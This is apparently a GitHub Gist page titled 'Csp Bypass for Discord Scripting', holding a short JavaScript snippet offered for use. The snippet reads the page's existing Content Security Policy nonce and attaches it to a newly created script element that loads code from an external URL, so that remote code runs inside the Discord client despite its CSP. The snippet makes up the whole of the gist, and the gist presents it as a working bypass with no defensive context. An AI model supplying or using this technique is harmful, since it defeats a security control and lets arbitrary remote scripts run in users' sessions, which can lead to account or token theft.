Skip to content

Instantly share code, notes, and snippets.

@Raz-js
Last active June 27, 2022 11:13
Show Gist options
  • Save Raz-js/3ecd6d72a37cffcd3059f1356269929b to your computer and use it in GitHub Desktop.
Save Raz-js/3ecd6d72a37cffcd3059f1356269929b to your computer and use it in GitHub Desktop.
Csp Bypass for Discord Scripting
document.body.appendChild(Object.assign(document.createElement("script"), {
src: "https://github.com/script.js",
nonce: document.querySelector("[nonce]").nonce,
onerror: console.error
}))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment